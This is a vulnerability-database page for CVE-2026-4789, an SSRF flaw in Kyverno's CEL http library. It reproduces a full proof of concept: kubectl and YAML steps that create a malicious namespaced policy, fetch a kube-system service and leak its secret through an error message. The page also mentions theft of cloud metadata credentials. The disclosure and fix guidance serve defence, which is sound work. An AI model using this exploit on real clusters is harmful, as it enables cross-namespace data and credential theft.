CVE-2026-4789 — Vulnerability in github.com/kyverno/kyverno
Kyverno has SSRF via CEL http.Get/http.Post in NamespacedValidatingPolicy allows cross-namespace data access
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.76%). Schedule for your next planned update.
Does your project use an affected github.com/kyverno/kyverno version?
Paste your go.sum to check it for CVE-2026-4789 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
A Server-Side Request Forgery (SSRF) vulnerability in Kyverno's CEL HTTP library (pkg/cel/libs/http/) allows users with namespace-scoped policy creation permissions to make arbitrary HTTP requests from the Kyverno admission controller. This enables unauthorized access to internal services in other namespaces, cloud metadata endpoints (169.254.169.254), and data exfiltration via policy error messages.
Affected Versions
- Kyverno >= 1.16.0 (with
policies.kyverno.ioCRDs enabled, which is the default) - Tested on: Kyverno v1.16.2 (Helm chart 3.6.2)
Details
The http.Get() and http.Post() functions available in CEL-based policies (policies.kyverno.io API group) do not enforce any URL restrictions. Unlike resource.Lib which enforces namespace boundaries for namespaced policies, the http.Lib allows unrestricted access to any URL.
Vulnerable Code: pkg/cel/libs/http/http.go
func (r *contextImpl) Get(url string, headers map[string]string) (any, error) {
req, err := http.NewRequestWithContext(context.TODO(), "GET", url, nil)
// NO URL VALIDATION - no blocklist, no namespace restrictions
...
}
Contrast with resource.Lib which enforces namespace:
// pkg/cel/libs/resource/lib.go
func Lib(namespace string, v *version.Version) cel.EnvOption {
return cel.Lib(&lib{namespace: namespace, version: v}) // Namespace enforced
}
This is a different code path from previously reported issues:
- GHSA-8p9x-46gm-qfx2:
pkg/engine/apicall/apiCall.go(URLPath) - Fixed - GHSA-459x-q9hg-4gpq:
pkg/engine/apicall/executor.go(Service.URL) - Different feature (apiCall vs CEL http) - This issue:
pkg/cel/libs/http/http.go(CEL http.Get/http.Post) - Not fixed
PoC
Tested on Kyverno v1.16.2 (Chart 3.6.2) on Kubernetes v1.35.0 (kind).
A complete automated PoC script is attached. Manual steps below:
1. Setup attacker with namespace-scoped permissions
kubectl create namespace attacker-ns
kubectl create serviceaccount namespace-admin -n attacker-ns
cat <<EOF | kubectl apply -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: namespace-admin-role
namespace: attacker-ns
rules:
- apiGroups: [""]
resources: ["configmaps"]
verbs: ["create", "get", "list"]
- apiGroups: ["policies.kyverno.io"]
resources: ["namespacedvalidatingpolicies"]
verbs: ["create", "get", "list"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: namespace-admin-binding
namespace: attacker-ns
subjects:
- kind: ServiceAccount
name: namespace-admin
namespace: attacker-ns
roleRef:
kind: Role
name: namespace-admin-role
apiGroup: rbac.authorization.k8s.io
EOF
2. Create sensitive internal service (simulating internal API or cloud metadata)
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: internal-api
namespace: kube-system
labels:
app: internal-api
spec:
containers:
- name: server
image: hashicorp/http-echo
args:
- "-text={\"secret\": \"STOLEN_INTERNAL_SECRET_12345\", \"token\": \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\"}"
- "-listen=:8080"
---
apiVersion: v1
kind: Service
metadata:
name: internal-api
namespace: kube-system
spec:
selector:
app: internal-api
ports:
- port: 80
targetPort: 8080
EOF
3. Verify attacker cannot access kube-system directly
kubectl auth can-i get pods -n kube-system --as=system:serviceaccount:attacker-ns:namespace-admin
# Output: no
4. Create malicious NamespacedValidatingPolicy (as attacker)
cat <<EOF | kubectl apply --as=system:serviceaccount:attacker-ns:namespace-admin -f -
apiVersion: policies.kyverno.io/v1beta1
kind: NamespacedValidatingPolicy
metadata:
name: cel-ssrf-poc
namespace: attacker-ns
spec:
matchConstraints:
resourceRules:
- apiGroups: [""]
apiVersions: ["v1"]
operations: ["CREATE"]
resources: ["configmaps"]
variables:
- name: stolenData
expression: |
http.Get('http://internal-api.kube-system.svc.cluster.local')
validations:
- expression: "false"
message: "Validation failed"
messageExpression: |
'SSRF_LEAKED: secret=' + variables.stolenData['secret'] + ' token=' + variables.stolenData['token']
EOF
5. Trigger exploit and exfiltrate data
kubectl create configmap trigger --from-literal=x=y -n attacker-ns \
--as=system:serviceaccount:attacker-ns:namespace-admin
6. Result - Secret data exfiltrated
error: failed to create configmap: admission webhook "nvpol.validate.kyverno.svc-fail"
denied the request: Policy cel-ssrf-poc failed:
SSRF_LEAKED: secret=STOLEN_INTERNAL_SECRET_12345 token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
Impact
- Cross-namespace data access: Users with only namespace-scoped permissions can access services in any namespace
- Cloud credential theft: Access to
http://169.254.169.254/...allows stealing AWS/GCP/Azure IAM credentials - Data exfiltration: HTTP response data exposed via validation error messages or audit annotations
- Breaks namespace isolation: Inconsistent with Kyverno's security model where
resource.Libenforces namespace boundaries
Affected Policies
All CEL-based namespaced policies in policies.kyverno.io API group:
NamespacedValidatingPolicyNamespacedMutatingPolicyNamespacedDeletingPolicyNamespacedImageValidatingPolicy
Suggested Fix
Add namespace and URL restrictions to pkg/cel/libs/http/http.go, similar to how resource.Lib enforces namespace boundaries:
type lib struct {
namespace string // Add namespace parameter
version *version.Version
}
func (r *contextImpl) Get(url string, headers map[string]string) (any, error) {
if err := r.validateURL(url); err != nil {
return nil, fmt.Errorf("blocked URL: %w", err)
}
// ... existing code
}
func (r *contextImpl) validateURL(urlStr string) error {
// Block cloud metadata (169.254.0.0/16)
// Block localhost/loopback (127.0.0.0/8)
// For namespaced policies: restrict to same namespace services only
}
Attached kyverno-cel-ssrf-poc.sh
Credit
Discovered by: Igor Stepansky Organization: Orca Security Email: igor.stepansky@orca.security Personal Email: stepanskyigor@gmail.com
Advisory Timeline
- First published April 14, 2026 (226 days ago).
- Last revised September 10, 2026 — 148 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
go get github.com/kyverno/kyverno@v1.17.0
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: Go (1).
| Package | Fixed In |
|---|---|
| github.com/kyverno/kyverno Go · Affected: All versions | 1.17.0 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-918Server-Side Request Forgery (SSRF)MITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 8.5 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
References
Frequently Asked Questions
- What is CVE-2026-4789?
- Kyverno has SSRF via CEL http.Get/http.Post in NamespacedValidatingPolicy allows cross-namespace data access. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.5/10).
- How do I check if my project is affected by CVE-2026-4789?
- CVE-2026-4789 affects github.com/kyverno/kyverno. It has a 0.8% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-4789 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Significant impact if exploited, or exploitable with modest effort.
This is an above-median EPSS score — 51.5% of tracked vulnerabilities score at or below it, putting its exploitation likelihood in the upper half of the tracked corpus.
Also Known As
Related CVEs
- CVE-2026-54523CRITICAL
Kyverno's NamespacedGeneratingPolicy generator.apply() namespace argument unvalidated -- background controller creates RoleBindings in any namespace including kube-system
- CVE-2026-22039CRITICAL
Kyverno Cross-Namespace Privilege Escalation via Policy apiCall
- CVE-2026-84200CRITICAL
Bypassing Kyverno Policies via Double Policy Exceptions
- CVE-2026-108262HIGH
DDEV incomplete tar symlink traversal fix allows host file overwrite - Incomplete fix of CVE-2026-32885
- CVE-2025-46342HIGH
Kyverno vulnerable to bypass of policy rules that use namespace selectors in match statements
- CVE-2026-130007HIGH
k8s-mcp-server: Missing authentication on default SSE/HTTP transport allows unauthenticated Kubernetes tool execution